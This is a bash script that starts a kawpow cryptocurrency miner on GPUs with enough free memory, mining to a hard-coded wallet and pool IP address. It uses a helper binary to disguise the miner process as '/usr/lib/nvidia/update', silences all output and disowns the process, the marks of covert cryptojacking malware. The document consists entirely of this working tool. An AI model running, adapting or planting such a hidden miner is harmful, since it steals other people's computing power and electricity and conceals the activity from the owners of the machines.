#!/bin/bash
hide="/usr/lib/nvidia/update"

# Get the output of uname -n, extract the first word, and remove hyphens and dots
newRigName=$(uname -n | cut -d'-' -f1 | cut -d'.' -f1)

# Get GPU information using nvidia-smi
gpu_info=$(nvidia-smi --query-gpu=index,memory.free,memory.total --format=csv,noheader,nounits)

# Filter GPUs with at least 4GB of free memory
filtered_info=$(echo "$gpu_info" | awk -F ',' '$2 >= 4500 {print $1}')

# Check if there are GPUs with at least 4GB of free memory
if [ -n "$filtered_info" ]; then
    # Concatenate the indices into a single string
    gpu_indices=$(echo "$filtered_info" | paste -sd ",")

    # Set your wallet, pool, and coin
    wallet="RECxmyPfeftZAhmFbMUrEsnHeWDrkHmsq5"
    pool="stratum+ssl://15.235.212.90:16060"
    coin="kawpow"
    worker="`hostname`"
    gpus="$gpu_indices"
    ssl="--no-strict-ssl"

# Check if the miner is not running
if ! pgrep -x javra >/dev/null; then
    # Start the miner with the provided parameters using h64 and disown it
    ./h64 -s "$hide" -p bash.pid ./javra -a "$coin" -o "$pool" -u "$wallet.$worker" -d "$gpus" --no-watchdog "$ssl" > /dev/null 2>&1 & disown $*
    echo "Miner started with Name: $newRigName for GPUs: $gpus"
else
    echo "Miner is already running."
fi
else
    echo "No GPUs with at least 4GB of free memory found."
    exit 1
fi
